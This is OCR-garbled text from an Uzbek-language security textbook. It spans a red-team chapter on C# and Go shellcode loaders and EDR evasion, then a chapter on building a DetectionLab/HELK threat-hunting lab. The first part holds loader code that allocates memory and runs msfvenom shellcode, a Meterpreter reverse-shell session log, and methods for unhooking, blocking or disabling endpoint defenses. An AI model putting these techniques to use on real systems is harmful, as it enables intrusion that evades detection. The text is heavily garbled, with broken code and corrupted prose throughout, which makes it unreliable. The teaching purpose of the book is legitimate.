i ida kompilyatsiya qiladi.
i : compi . mes yordamida kompi
ingan k C# Mono kompilyatori, m , o
ﬁ:{i.?lglquihh?ﬁ;ﬂ yaratiladi: /tmp katalogida csharp.cs va csharp_dropp

Keling, shablon faylini ko'rib chiqaylik:

msfvenom buyrug*ini o'z ichiga ol

r icha fe Length,
Ulni32 sedddress = @ Virtuald Hm,,-m;_..fn.'ﬂjsiu.ﬁrar . i

MEM _COMMIT, PAGE_READW Rfﬁ; ‘
B \Marshal Copyishellcode, 0, (IntPrri{se. O
i Idldress) shellcode.Lengih. PAGE EXECUTE, out prot);
O Virtual Protecti(huPrr){scAddress).

Py hThread = P Lero.

Ulne32 threadld = 0

i s Foro: o of threadld);
fﬂu;:’;;r "m!:” {I::::’::’T;:;iﬂ’rﬂ 0, seAddress, pinfo. 0, ref1
e A

EFFFFFFF)
IlEn'fFr:r.‘-fr'u_i:h'{}hfﬂ'.'mWrmu!. ixFFFF

idress), shellcode.Length):

. imi ajratiladi. Ushbu
i boshlanadi, bu yerda xﬂlil"'?m ?:j-“f;i?hﬁﬁ;g nusxalaymiz.
mxgi#hﬁ'i’fﬁ 1:3:.;12 uchun @ gadamda q,';’bfgzn :if:uida belgilanishi kerak va
! sh, s otira bajariladi 4 : dunds i asbia
Ushbu kodni bajarish uchun xotira bUaritiise B o g oo ;
Virlu:ill;::'itiulzct::: funksiyasi buni biz uchun bajar rSingleObject buyrug'i yor-

i itFo yo
‘0dini ipni iz. Nihoyat, Wai o Gt i
E:dl“[; hajat:*ad;:‘_za;‘ ipni }[r’l?;t;:z:: kutamiz va tugallangandan so'ng
Mida gobiq kodining

1 ailindi. keling, uni quyidagi
k b kod nima gilishi tahiil qilindi, keling, unt q
‘elishi mumkin. Endi ushbu

U¥ruglar yordamida tuzamiz:

s build csharp.sh o
No encoder ;f,t._:.!-l,‘;ﬂjl ouIpuITing v
Pavioad size: 200262 bytes

Final si=e of csharp file: 101

T .C“’,Hr‘k"';

4693 byres |
ekranda msfvenomdan olingan

aylini ishga twshi xe faylimiz /tmp da joylashgan.
_Qobig (shell) faylini ishga drnpper{':-ﬁl.u.‘;:-;rfi'zi B akin. Metasploit hil

Natijani ko*ramiz va natijada Cz:f‘ir:';apka orqali | pabli bu ikkilik faylni ishga
Nga Windows ﬂ}fnﬂmdalll l?;;ﬂami Kutayotganligi 53
M ishlayotganligi va ulan

Ushiramiy,

PSC:t> can10.0.0.40€hh
PS Microsofi. PowerShell Core

rganimizdn.

0.40'ghh= . \esharp_droppertd.exe
FileSysten:- 060

ida yangi GoDig !
0.0.0.40:4444 71

iz (shell) ko‘rinishi kerak:

1
0.0.0.20:36949)

Kali*dagi Metasploit konsol

. 1

r* Meterpreter session 4 0P¢ med (
at 2021-09.25 05:09:29 +"5"5i_ asslons 19
sfis Expa‘ajr{mnfn'.fhn.-uﬁff_‘} 4'
*] Starting interaction with




| W—_——

¥ == =i

Yangi jarayon sifatida ishlayotganimizni
dan foydalanib, joriy jarayon identifikatorini o

dan foydalanib, uning jarayon identifikatoriga
mumkin.

tasdiglash uchun getpid buyrug'i-
lish va keyin PS-s <processname>
mos kelishiga ishonch hosil gilish

meterpreler > geipid

Current pid- 4272

meterpreter > ps -8 esharp_droppertid exe
Filtering on ‘esharp_dropper6d. exe’
Process List

PID PPID Name Arch Session User Path

4272

e —

4016 esharp_dropper64.eve x4 2 GHH targe

Kn-:'ini C# }’u‘klagic_hda‘ ishlayotganini ko'ramiz va biy Mgl
ruglami bajarish imkoniyatiga egamiz. Bu biz xohlagan har qanday foydali yuk
bo*lishi mumkin, masalan, Covenant yuki yoki boshqa turdagi C2 foydali yuklari.

“Go Launchers»p; il
Go o'zining platformalar Yaratish

aro imkoniyatlari tufayli mashhurl; '
‘ 2 plat urlikka erishmoqda.
Go mobil va an’anaviy kﬂmpyulcrplatfunnalari.jumladan, 108, Linux :'l"-"i"d‘?ws‘

macOS, Solaris va hatto z/0S uchun kompi] B it e : :
yatsiya gilinganligi sababli, by an’ okl 5'}'3.‘4']‘“15}11 mumkin. Go kompil-

anaviy imgzo i ; a-
derlarmi amalga nshin’shning yaxshi 4 v R “riqlay nlmaymgan e
rini gidirishi mumkin bo*lgan an’anaviy nagshlargy
bajarish uchun Windows va boshga o Cratsion tjz i - :
nalari va dizaynlaridan foydalanishj mpumlvainti:.n Hllmlﬂmlng S
GitHub’da Windows uchup yaxshi mj
biri bu Russel Van Tuylning 2o-shellcode (htt

leode) deb nomlangan ombori bo'lib, G’ A PS.ff‘githuh,cumfNeﬂnngfgo-shi_ﬂ‘
etadi. Ushbu misollar Go'da o'z yuklagichi

nagshlarni boshqa tillarga ko*chirish y

Lahuraturiya ishi 7.5: G

Launch
gilish v erlarnj

kom pilyatsiya

) By a sinovdap o'tk
Window 3 = T azish
1:‘ ows Gulakklh_k_ fayllarin; MINgw paket]ari yordamid e
qayta kompilyatsiya qilish mumkin, : SRl L
bo‘lsa, biz gilishimiz

Golang vy 11

foydalanadi. Kodni ishlatish uchun alnqe;l{thread]
i E loga (thread)ga o'x-
5 : lanamiz. Fiber(tola) g 3 )

lar 0*rniga biz tola (fiber)dan foydalanamiz. Fiber(io 'i. Birog mavzu-

shaydi, Bu kedig asosiy gismidan alohida b o {;ﬁifffdi iadh vl

lar dastur tomonidan rEjﬂlasmir“gam;:S: I‘IEnlt:ll-nr l-{:]ﬂ“l:' vazifalami boshqarish

axsus hech narsa qilishlari Shﬂ”_e 4 . i ishga tushirganimizda,

umc':'ux:nut;;l;l:h?i‘:‘zwcl?ini talab giladi. Naluﬁfja' btl?;rlr?ilr?:‘;zlegan qismr?ga o'tkaz-
u chiqtniﬂut:mhw voki kodimiz boshgaruvni dastt s

maguncha ishlashni davom ettiradi.

biroz boshgacha texnikadan

. . i v

la katta farg mavfud. Agar siz alogalai v
Ll k : . 3 y

i et qandeay ishlatish haqida ko prog
L * 2 i _ .
ih qo llanmasini ko ring https

o
Estatma: rolalar va alogatar oras .
olalar ganday bog ligligi va wlarm “'rms”j;;m
hilmeg I e 'Isangiz. Devl Lavlermng afe,
.'-\',r.rn'IHH'IH.r,.-“h r.k.'L'I'_L:.'FJI;fafﬁ i f.l;l'r*l'f'\ o
anligini bilmagani uchun, kod qﬂt:lqh ﬂ:
e 3 é kodi C# da gilgan ishimizga o*xshas
i ('}a ntdil.dll kutubxonalaridan ham.t‘ny-.
AlLYE P dan hamda NeOnd0g omboridagi
0

Qobig kod(shellcode) !"h ola
(shellcode) chigmaguncha osili q137
bo‘ladi, chunki u Windows kemt]a;i mis
dalanadi. Ushbu kod ired.team 10 iz. bu bizga uni Go sintaksi-
‘oddan o*zgartirilgan. lIkodni base64 da kodlaymiz, bu bizg

Ushbu misolda biz shellk . beradi:

: ; i imkonint bera
Siga osongina tarjima qilish imkon!
o DecodeString(sc)
shelloode. wrr = I;,:m.ﬁ,f__‘.'nﬁ'.'nﬁ-ua’my.ﬂwm r AT
SRR sh va uni =L
i dekodlash va un
By verda shellcode, s€ bilan hergb ;dan fﬂ},da]amladu. Har ganday xato
‘erda shellcode, XOn

ase6h4 kutu . .= pperatori bir vagtning
"Uvchisida saglash uchun baset a saglanadi. == OP¢

isi = | u Lz_
' tl r' 5 1 rt’ﬂ'zgﬂ I'll : "'t = es5a ﬂllaqrﬂﬂhﬂﬂ IIIH'\"J d 0

0" Zidg 0*zgaruvchilarni },aratlﬁh ishlatiladi.
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i i i turl ‘ll ﬂr.m asbob-uskunalar bilan ta nm?-
o'matish asosida ham farglanag; H }'_“ ar bilan lo*xtatadi, lekin ular har bif
istisnolar farq qilishi mumkin. - Har bjr tashkiloy qn‘llaydiga" spcAamder

Bund ; .
NGan tashqari, EDR }’ﬁﬂhlmining Xavisizlik g
. ara

mumkin. Aksariyat EDR veet:. s ialari ilishi
ham mavjud. EDR j I _FFChlmianda aniglash rejimi he i !‘:am farg 9 i
: O'atiga qarab, gjyn; Jmiham, blokirovkalash rejin
tirsa ham bloklanish; Mumk; : INg testlar

In, Ingiz ogohlantirishlarni kuchay-

o EDR my -
Ba’zi EDR Yechimlar yo'q qilihful?tlanm ¥0'q qilish
Xizmatlarning to*xtashj Nishi yok;

- 88 10'sqinik gupo o O Chirilishi mymn Boshgalar €54
q.ﬂlsh'ga g Sﬂf bEl.'IS..hm aqiglovch; ruqx : an. va Xizmatlapy; o*chirish yoki yo'!l
siyaning bir gismidir, 3huning ok Salsiz |

'Moyagq ¢ rat-
= e b m 2a. Bu odatda konfigu
il e iy Sozlamalarjy, ga ﬂbosl:f:hun ishlatiladigan har bir profl

ihs

. 1 Mumkin, Ushbu xizmaﬂﬂmI
" EDR (Endpoint Detection ang Rt:.'i'pnns,:} 0

Xirgj

n r—_—
"talami aniglash va la’sir ko‘rsatish
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A

T higarishi mumkin,

yo'q gilish imkonivatini tekshirish ogohlantirishlarni keltirib chiq
ammo bu ham muvaffagiyatli bo hs!]lln'::::ln;iyalar monitoring va ngehiaqllrlsh

B : as uri' kﬂ‘ lub }":lﬂgl E: -_ ) ]ZhL dE"vﬂﬂ qﬂldala-
ur:hunu:]ifrli:::j&mi bullf:gﬁ yuborishi kerak. xﬁfﬁﬁ;a}]ﬁss yozuvlarini o*zgar-
rini sozlash, xostlar fayliga yozuviar s S'h“ﬂ;:ill'lgiz mumkin. Bu sizning faoli-
tirish va hokazolar orqali siz ushbu aluq’i‘:l u;;:mﬂsdnn vositani o‘chirish yo*lini
o s s oring xizmatiga xabar NN mahsulotlar o'z
yalingiz hagida monitoring X1zma ; shqari, ba’zi :
Iﬂpisl;na hac:fakal qilish imkonini bﬂfﬂdl- Bun:_'ﬂ :.,:Enk?n bu esa ko'rinishni yana-
dra}'\’g‘larini Windows muhitidan olib tashlashi

da cheklaydi. "
Qaysi EDR yechimi bilan I‘-‘hug ut an mashi
damlarni gotyishdan oldin siz 15_"-*]‘13"'{'.5“]3 o'zgarib !
ma’'qul. Ushbu mahsulotlar doimiy ra Ihu:ilgan;dan k
ilan tanish bo*lmasangiz, ti_zi@"gfsh usullari va 0°c
Jurnalni aylanib o*tish usullari, 0°chir
Uchun tadgigot o tkazing.

neizdan qat’i nazar, .\'aw.-ﬁ? qa-
n;ning profilini amqlag'am‘ng‘m
urishi sababli agar siz tizim
eyin davom ctishdan‘nldm
hirish opsiyalarini aniglash

Janmasligi

Hooks (“Eaklﬂr?ni c:!‘i!i:zl;g’:; til[sgt:ﬂ»;lar yordamida jara-
EDR mahsulotlarining aksariyati @l "‘E qodir. Komelis de Plaa o'zining
Yonda ninl:lat;:ii? i::u'la}f;;lgﬂ“i“i m%h!'.mltf;ib o'tish uchun lu‘g'“ﬁf&':;]ilf;g‘::
“Qizil gizil jamon taktikasi: AV/EDR €58 o /outflank.n/blog o
Zim qﬁ'i{rll‘ril' ii?:l::i va sRDI'ni hirlahhllr?s:hgllah o'tishning ba z;tuil; n::l‘lqn‘ [:lg‘i
' i i = . i : IR 3 o'

1 i g_wkﬁkasi' 10'g

A bu qanday ishlashi va bu : funksiyalamni talab
t .o RS schimcha Tu Y :
Magola yozdi. fﬂf}IIWEI!-I_'l };r::ji dr/). Ushbu usul qo fﬂﬂma oshirish uchun jara-
:iliqIari-va-srdi-uylan%blﬂ‘;?ﬁ'li?im qﬂmg‘imdqi B
Masdan, to*g'ridan-10 . jmkon berad? .+ ired.teamda to'g'ri-
; i *|sangiZ, s .
Yondagi ilgaklarni bekor q’?'sh‘ii aratayotgan h-:: Isbu*lgan ikdlik fayllaming
Agar siz o'z "'“Siwl.armgjg'rnatilishi "wma:mmut mavjud. Ularning "C++
a?h‘m‘g‘ri diskdan 34.;L‘.|llrﬂgﬂa ajrﬂliSh hﬂqtd?fn:qw_imditﬂammﬁ‘msWc'f"e‘f‘m”?}i’,’
O limlarin qanday QISTIHIE agolast htps://¥ ba-zi bir as0siy C++ texnikasini
'an to'lig pLL i ochish T a-dil-using<+*)
¢fense-evasion/how-to-unh -
‘ /gt
0'rsatad: K (https:
\flﬂdl, ir fovdali vosita — SharFI?I-G';hini hlﬂkia:’fq
ang I:n‘r lu}'fja. LV ongd kiritili o turdagi
R vositalarining jarayon&® | h

jgan U lari ke
N k‘“‘di‘”‘gizrti ochishi 1““"“.dn Ssl‘:g juim Ps'u:zla)’di.
Ulugi}raning riVﬂanl‘-ishi I:n_l]an his n-]]arlrlu Jarining €
"OVayderlari ularga qars II digan pR mahsto
“fensiyalar sizga duch keld :

*abardoy bo*lishga yordam MBS

larini @

om/CCob/SharpBlock),
Il?bf;;uningdek. ET"W. fﬁnMSl
;lshnblami yo'q qlla_dl. Tex-
ng tarqalgan bo‘lib, EDR
Twitter, bloglar va Ifun-
g so'nggi usullaridan
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Xulosa
t hﬁ}l}i:ruqlar va boshqaruv markazi (C2) v
ushiris I i qizil i
ita asosy vositadin. Co mopny e &Xlogiy xakerlar bilisi kerak borlgan ik-
ningdek, ekspluatatsiyadan keyingi 1Zga xostni masofadan boshqarishga, shu-
: yingi vazifalarni fo LA T
Launch o i osonroq bajaris ‘
tushuni::a;hsﬁﬁﬂg agentlarimizni tizimlarga kiri:lhgaj?c:::ixlrsirﬂzihcfl;aufi
dagi EDR va antﬁimélzﬁrﬁda mh“f"f"hli qochish profillarini yarali::-}:ava.tixim—
larga joylashtirishga va ularni :”-ah; 0'tish qobiliyati bizga asboblarimizni tizim-
Mqlash va zararsizlantirishdan qochishga yordam

beradi. Biz tizimda ani
Sl A qlanmasdan gancha y;
fagiyatli bajarish imkoniyati shunchaqlik kllﬁp“;?}?] Tisak, vazifalarimizni muvaf-
adi.

4 qobiq kodi(shellcode)ni ishga

Metasploit Unleasheg 1|ﬂ:"f:,:z‘;;rtnau’ptnzglj::t::tm’mf:m.:;pI-::-ilal:ul::f*
PowerShell Empire github -t:tfl‘vf:nsz‘ve-s-:w::uritjn,‘r.clnrrna“rm:taﬁ}:il-::vi\‘.-unIﬁrzls-hcutiff
Covenant GitHub g *EGWBC-SECURITWEmpirc

Go shellcode repository

Offensive Nim g; 0
github.com/b nd0g/go-shellcod
Combining dj Y13bi33d3 gy ¢
g direct system calls anq SDE??:TWENM
Ypass AV and EDR

:}utﬁank.nla’hlog;‘z

; 019

o dlsrdi_m_h}rpass_av-e;ﬂrff]‘}freddeam-1aclics-c{:-mbining direct-system-cal
-direct-system-cdl”

How to unhogk 4 DLL using C++

se-evasion/how-to- Www, i v
“_"hmk-a-dllmsing-c ired.team/offensive-security/defen-

4

ATA ww.blackhat.cu
chn iques-For-Evading
on-And-Advanced-Ty,

b
Bmfdocs;eu, & bypassing, and disabling MS ATP and
i Fpassi“g-ﬁnd Di ]?—Thumpson-Red-Team*Tﬂ‘
-Lhisablj :
"“a-Analytics pr bling-MS-Advanced-Threat-Protecti-

ANIQLASH LA BORATORIYASINI
YARATISH

8-BOB. TAHDIDLARNI

Ushbu bobda quyidagi mavzular yoritiladi:

* Tahdidlamni aniglash va laboratoriya ishlari;

* “Threat Hunting Lab™ asoslari: DetectionLab;
* HELK yordamida laboratoriyani kengaytirish.

Tahdid ovlari laboratoriyas nima? Tahdidlari ovlash keyingi_ bobda kn.‘ rib
chigiladi, lekin mohiyatan bu SIEM, IDS, IPS v boshqalar kabi texnologiya-
lardan foydalangan h:tllda tarmogda ko‘rinmaydigan tah]:i lfﬂlﬁml ltz;mllhraws: =
aniglashd ; S bho‘yicha mahorat to*plashni o‘rganish uchun: bar-

qlashdir. Tahdidlarni ovlash boy htirilgan joylashtirish,tezda

cha kerakli asboblar o‘matilgan bo lishi.aviomatlashtiriig; | :
Sozlanishi va buzilishi mumki"n bo*lgan laboratoriyd m‘qur: va xavisiz miuhn _ke-
rak bo*ladi. Shu magsadda tahdidlarni ovlash laboratoriyasi uchun eng so*nggi va

ng vaxshi variantlar keltiriladi.

: i ani laboratoriya ishlari

Tahdidlarni aniqlash V4 | R N i
it it o da bajaradigan ayon b JUbONCE L T
luvehilar va TTP'lar hagida ma’lumo! olishni talab giladi (1 ‘i‘ E“ :l?";“gl'-'.] hEE
Muhimi, ovchilik qnbiliyatini rivﬂjlanlil'ish LICI'[lm amaliyot talab etiiadi. Lshbu

bobda laboratoriyani sozlashga ¢'tibor garatiladi.

uraturiwlarining imkoniyatlari
tishning bir necha usullari mavjud. Masa-

: 1ik vosi ini 0o‘z ichiga
lan, 4 T alari va xavisizlik vositalarini 0'2 ichiga olgan
iy omen serverlari, ish stansty \oan hamma narsani qo'lda sozlash mumkin.
- S ‘lga : :
ahdidlarnj qidirish uchun zarur b't}hlganishi mumkin, shuning uchun munozarani
foydalanishga tayaniladi. Av-

shbu mayzuga to*liq kitob bag'!
. UE - sullardan i
qisqa qilish uchun avwmailashllrﬂgan ust haqida gap ketganda, ikkita
ydi: DetectionLab va

" Tahdidlarni aniql;as!l lab
Tahdid ovi laboratoriyasini ¥ard

jyalari
tﬂmﬂllashlirilgan tahdidlarni “”iafsh ]abc:r?t:ngi:ishga arzi
ﬂ}'iha kung qnillahrquvyaﬂﬂnﬂ 1 va ko'n
HELk :dan yaratilgan DetectionLab [1]
L : long) tomenidar ¥ i
Birinchidan, Chris LONg (c . 4an a0l q.;.‘llab-ﬂﬂ\"*’aﬂ““ﬂd‘ va mahal-

I'ir nechta ishlab chiqu‘.'chiiaf mTﬁiﬂ ¢ va bulutda o‘rnatish uchun eng keng
iy xo : ratsion HZ1 . . _1if giladi. Ikkinchidan, HELK
Vositalag e o irilgan variantiar w“ltt;{qinter-ﬂa}'bmk [5] kabi te-
(2] =i e SSE ] The Tf_m“* 5 rto va Xose) va bosh
ep . aa Mogdar (3], OSSEM | - uka Rodriges ROSEIE 0 hi
li loyihalar bilan bir 42t n Threat Research Forge) [6] tomonidan yaxshi

qz:ﬁ]aa;) ishlab chiquvcllgll‘a;( -::E?qish va foydalanishga arziydi. Bu ikki loyiha
-quvvatlanadi, KO
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o'rtasidagi asosiy farq shundaki, Detectionlab to*lig laboratoriya muhiti bo*lib,

Splunkga qaratilgan, Boshga tomondan,
K to 1 iti - Bu mavjud laboratoriya muhitini ken-
ga}fnnsh:_mumkm bo*lgan tahliliy platforma (Elasticsearch [7] va boshga vosi-
tar]ar a*sumda_}. Shuningdek, “Qo'shimcha manbalar” bo*limi ;

S.+1muLan_d?n1| kc:'ri_b chigish tavsiya qgilinadi, Ikkalasi ham faqathhulutli laborato-
riya muhitini ta’minlaydi. Biroq agar €ng moslashuvchan va mahalliy o*rnatish

varianti izlanayotgan bo‘lsa, DetectionLab mog variant hisoblanadi. Va nihoyat,

bir qator boshga avtomatlashtiri

ilgan laboratoriyalarni i ish joi
i d - * . : s (4]
ular kamroq qo*llab-quvvatlan i, yarami eslatib o*tish joiz, amm

adi, shuning uchyp ul i
iy ; _ ar hal etilmagan muammo-
]al‘ga"ﬂulﬂj _ke!:s.ha mu_ml-:m. Boshgqa loyihalar ushbu bobnine Eh S
balar” bo‘limida keltirilgan, 2 “Qo'shimcha mi

i B I:I:hh.u bobda foydalaniladigan ysy)
Lab sifatida lanIabFGI{i]:; Elljk;ilmlg;{n 'kkita loyihadan eng yaxshisi Detection-
. Ushbu loyiha keng laboratoriya f;uhi[fga, shuningdek.

va Modor'sl afgaent . OGN g, Keyinghart. Do LK
rqali kengaytirilagi va bu vositalar bilan birga keladigan

keng tajriba taqdim etiladi.

Asosiy tahdidlarpj ovlash lahg

Dastlab, mahalliy xostd A
shakllantiriladi. a yoki huhﬂﬁﬂ aso

Fatoriyasi: DetectionLab :
81y tahdidlarni ovlash laboratoriyasi

: =] ;
HELK va Mordor bilan 10°Idirilgan K{ri}f Erwmdﬂgl lomonidan taqdim gilingan
cllneiﬁ?nﬁr:viwﬁa niladi. Boshlang*ic, ?QIEE{;E?“E} fﬂm“;“dﬂ" yaratilgan Dete
! S Linux, macQg, quyidagilar:
vatlanadi, Azure vg AWS Operatsion tizimlari qo*llab-qu¥”
. 55 GB+ b-u‘sh xﬂ'lira;
* 16 GB+ RAM 1ays

I¥a etilad:-
= Vagrant 2.2.9+; ¥a ctiladi;
* Packer 1.6.0+;
* VirtualBox 6.0+ (esk
magan); ! Versiyalar iShlashi . S sileazil=
g VMw . mumkin, lekin sinovdan o‘tkaZz
N are ning I“G'}rxmda“ o
lar ishlaydi). '8an vergjyqq; (faqat ro*yxatdan o‘tgan versiy®

tionLab saytida keltirilgap, " Qilinadi; qo*shimchg ma’lumotlar Detee”

JER}

Yuborish mumkin.

o i wa G ivani xostga o‘rnatish

Laboratoriyaishi 8.1: Laboratoriyani xostga o'rnatish )

Birinchi laboratoriyada xostga tahdid ovlash laberafunyasl 0 ma_u_sh jarayoni
Keltirib o*tiladi. Bunda, Windows OTdan I‘oydalamla_dl. afn-fm::- kEil{l{;]iﬁn hosl‘:
lang*ich talablardan ko'rinib turibdiki, barcha operatsion izimiar qo-flab quvvat-
%y ‘Imasa voki laboratorivani xostda emas, balki

lanadi, Aear kerakli resurslar bo P T
nadi, Agar kerakli re laboratorivaning qolgan gismini o tkazib

bulutda o ‘rnatish zarur bo lsa. ushbu

Dastlab. obrazlarni ishga tushirish uchun Vagrant bilan ishlatiladigan Virtual-

Box [8]ni xostga yuklab olish va o‘matish zarur.

i@? anntja!&H;ﬁ!xBef fg TP

VirtualBox binaries

Eii T L. Y K - [N
! i Bty PP A
Ny don ading d s Vi o & 0 B . 8 g Tl
sl ST b Pl Y - i R
E seag coirhinigd i b1

(Y g b v ._u:._.-.._.- I;,.':l.l-"..:-. |.~.-I-- i
g 4]
VirtualBox 6.1.22 plattarm packag

b
,,,
13 B e

alBox ishlatilayotgan bo‘lsa, Hypervisor-

da Virtu adi va VirtualBox 'ning to*g‘ri

Eslatma. Windows 10 xostl cha yoqilgan bo'l

Ni o*chirish zarur. U standart h“:};:.mcha ma’lumotlar
ishlashiga to*sqinlik giladi. S application-manage
lfn-usftrﬂuhlesI1m~.~th~:indﬂ“’5":1w"t PP

hifasida keltiilgan. —
F's-nal-wnrk—with-i:'-lﬂper"*;; ::Ef;uzlamal” bajariladi. O‘rnatishdan keyin Virtu
irtualBox ichidagi

iptlari buni avtomatik tarzda
- h hirishning hojati yo'd, Vagrant skriptlar
Box'ni is ga tushir

bajaradi. I
Keyin Windows OTda git© ;:::;tziﬁm r

rur bo*ladi [9]. Keyin git bilan 15

Katalogiga o‘tish zarur:

https://docs.microsoft.com/
ment/virtualization-ap-

o*lsa, uni yuklab olib o*rnatish za-
t bash ishga tushiriladi va c:/ root

Fed e/

‘IH‘-’-‘




Il

. DetectionLab u::hun GitHub
tidan o‘rnatish jarayoni hagida ko
mumkKin:

E:]St; fs:felgi lh.ub.c:?mft:lnngf DetectionLab) say-
malami o'qish va fayllarni yuklab olish

Sgit clone hitps:/igithub,com/clon g/Detectiont.ab o
L0, grif

Endi xost uchun Va i
_ grantni yuklab o :
[10]. O*matishdan so* i °o0 va ' matish jar . p pefulloc
chunki gayta }'uklas!?dgi :ES!"’ 93y1a ishga tushirish ianﬂ;i"m:?fﬂﬂ'é; Uhl:l"iii
Y laboratoriyalarn; ishga lugl-.ir;__qna : ldu iuahqu
shirgan vaqtda bos

keraksiz ilovalaming i

: : 8 ishlashi kuzatilmayd: .

xmlr;iar: mﬁ foydalanish mumpip, b:?;gzihu €sa Ish jarayonida 16 GB operatiV
Sialma. Agar 16 GB operativ werse

Perattl?azzltra Mavjud bo'Imasa yoki allagachon ish-
r . .

wnuamilfr;galar |§h1amaydi. Tizimning operatiV

e E3-2~Iabm:a[ qaror ishlaydi, Agar shunday vaziya!

Orlyada keltirilgandek) bulutda qurish

Xotirasidan to‘lig foydalani!sa‘
yuzaga kelsa, laborator; 1
kerak bo‘ladi,

Git bash yoki PowerShe|)'g

rantfile’'ni (HELK "
uchu Vagrany jildiga o‘tiladi va Vag

tahrirlanadi. Koddagi gal:
¢ 21 qalin chiz; ks s et
ligini ko'rsatadi: bGShga qali:t}:{‘if?r Onfigurarsiyg fgnrijhlhh uchun) quy:dayuti
'21gar nimap; u‘r.ganl;r:sﬁ E:ycﬁ%u -q:?';mh k;;ﬂdi
rakligini ko*rsatadi:

efe v T '
'.fg M.provider «virtuglbes., do |
nh.gm frie Ivb, Verride|
vh.name = wlogeer,
vh.eustomize ifi
omize _fnmrm’m*rm», e, gy
tTRe Oy, &)

M, K1y
e v i, 3 )
_,ﬁgmlr_p:m fder “Virtualbay, o4, /
vh.gui = prye T Override
vh, s = ' |

fname = welp, Windamaiy local
vh.defanlt nie hpe = «8’545; 'lv
vb.customize fomodifing, g
tiize f«mau’;{i'vmu_ o
B ] ""WL'HIUI‘"

Vi :'r_],'l
ofe.vm, provi =P
.J;R y Provider Virthalhor y o j
VO.EII = ftrye i Override
L. = I | I

b.iiame = gy ef Wintdanay foe,
vh.defaulr e fupe = ﬂ:&'jj;f‘iﬁ"':;#
vh.cusrontize frm:m!g'.i'jw‘nw. m’ J« 1
S e,
- Ve, 163,
cfe. I-Hf. provider Virtualhoy , b/ K
Vb.gm il o |vh, rwerric.’e|

vh.name = wwinl 0w
Windomg,
n.lag
ﬂ!‘.

vb.default_nic_type = 4825 45
vb.customize [«modifivm, . i EM

vh. customiz ' y 8
customize [emodifyvm,, . id, (g s, 20 45

tushirishni tanlash orqali PowerShell
cha tayyorlanadi:

gmasini bosib va Administrator sifatida ishga

Keyin PowerShell'ni o'ng or sifatida ishg:
*dan foydalanib, Vagrant skriptlari quyidagi-

PS C:\Windows system32> ed C: \DerectionLab! Vagram
PS C: \DetectionLab Vagrant> . prepare.ps|

[ +] Beginning pre-build checks for DetectionLab
[+ ] Checking for necessary jools in PATH...

J'r'f Packer “_;”. nal ﬁ,"”ﬁ' in your P;T”

[~] This is onby needed if you plan to bl your ow
cent ignore this message,

[N ] Your version of Vagrant { 22 16) is supporied
druncated for brevity...

[+ ] Enumerating available providers...
[+ ] Available Providers:

*] virtvalbox

n boxes, otherwise you

kript ruxsati yoki ijro xatosl yuzaga kelsz?,
hga tushirishish va PowerShell admi-
rda ishni tugatgandan so‘ng ushbu
tiladi [u'malish-executicupulif:}r cheklan:gan}.
hni boshlash uchun shunchaki ci‘al;JetectinnLah\
rantni ishga tushirish zarur. Bar-

nidek, Vag : 1 .
lga taxminan ikki soat vaqt ketadi, lekin buni

Eslatma. Agar ushbu buyruqda SKIP°
ed"” dasturini 18

“set-executionpolicy unlimit
P lash zarur. Bu ye

Nistratoridan “A™ variantini fan
siyosatni gayta yoqish nazarda tu
Endi DetectionLab’ni yaratishi
Vagrant katalogiga o'tish va ko'rsatl
cha virtual mashinalarni yuklash u‘chun
fagat bir marta gilish talab qilinadi.

; 7
PS C:\Detectionl.ab! Vagrant= Vag! ant U

. truncated for brevity ..
ot o‘ljallangan tarzda
PowerShell skripti tugagandan so‘ng, barcha tizimlar mo'l) g
rerShell s =
Ishlayotganligi tekshiri ladi:

\past_ build_checks.ps |

PS C:\DetectionLab'Vagran™ -5
[*] Verifving that ,'g;pn.-nk {5 reachdnic..

al
0 S 2 !““f ,-fm-hahh.
{ X Splunk ierumiee ='x' reachable...

[*] Verifving that Fleer ST
[ N ] Fleet is running and reac ruls ,;,m-.fmbh‘...
[*] Verifying that A m‘rﬂwﬁ-;!m ‘.’re"flf-'f!ilfll‘l,'.'
[ ¥ ] Microsoft ATA is Funning ";mw(-hnhh*...
[*] Verifving that Veloc :'r:ff-""”' i:.f’rm
[N ] Velociraptor is running @"

[*] Verifving that Grmm-:ﬂ
[V ] Guacamaole is running

fe 5
o ;ﬂ f reachable!

‘I*Jl




Agar biror muammoga duch kelinsa, muammolarni bartaraf etish va ma’lum
muammolar sahifasidan bartaraf etish choralarini izlash mumkin [11].

Laboratoriya ishi 8.2: Laboratoriyani bulutga o*rnatish

Agar xostda 16 GB operativ xotira bo'Imasa, bulutdan foydalanish magsadga
mumfig. Ushbu laboratoriyada Azure'dan foydalaniladi. Bonus sifatida ro‘yxat-
fia" o tish uchun 200 dollarlik kredit mavjud [12], uni daﬂtlnhk‘i 30 kun ichida
;f—é*tilﬂrlllislllgeiak;;‘bu 1simrat:ariyadan uzoq muddat foydalanishni aniglab olish uchun
Dmbnridacl.!n:mingfi.chwsh.dm foydalanish afzal ko'rilsa, DetectionLab GitHub
ililatiise, fizdan ke to*lovl u:!ul. bepul emas va agar uni kreditlardan tashg2”
uchun bulutdagi vositalarni kzrra[':i IE::L X x'dharl F:hundaki. mmjml.ﬂ i tejash

Vaziyatni o'zgartirish uchun b maganda o*chirib go*yish mumkin.
tushiriladi. Shun 4 safar bulutli nusxalarni Mac xostidan ish&®
ratsion tizi 82 qaramay, har qanday xost qo!|l; i . a Ope-
sion tizimlar uchun DetectionLab sgyt; qo*llab-quvvatlanadi; boshqa OP™
ytiga murojaat gilish kifoya. Ushbu 1ab°

ish s
24 twshirish uchyp avval Brew [13], Terraform [14)

*o /bin‘bash -¢ a3fcurl
: SSSL https: ravs wi
install HEAD instal} shiw Pi-liraw.gi ”infu.-.':crrummrr.:-um Hametn

¥ brew install ferraform h
¥ brew install ansible
% brew install azure-clj
GitHub ombori
ridan D i
clectionLab mapk, kodini yuklab olis]
wJabD olish:

%6 git clone hitne: e
ps:igithub, ¢
os E-d I '(JIEC”G”LHJJ‘-"_J-'”,-E ?:’Jn f;ﬂi;'g IJE'“‘:'L.“'(””
2tire/ Tep i

‘aform ab.gi
tfvars exam :
P]E rﬂ}l‘l]da
dl. ] 1 i s n “usx * T | &
alanuvchi fa}'h]“.‘r'lﬂﬂhm,i i ako chirish yq uni 1p (whatismyip com) v foy

Umotlarinj Kiritis}

Yep terrafon 1 uchun tahrirlach:
wep terraform i!.ﬁ'ar'.ﬁ'.e.':mup!e terraf; htahiriash:
L{] arn,

Favini i Wvars
ayini xtiyorj
5 . i Y n‘!'l.lhﬂ :

v & rrlr &
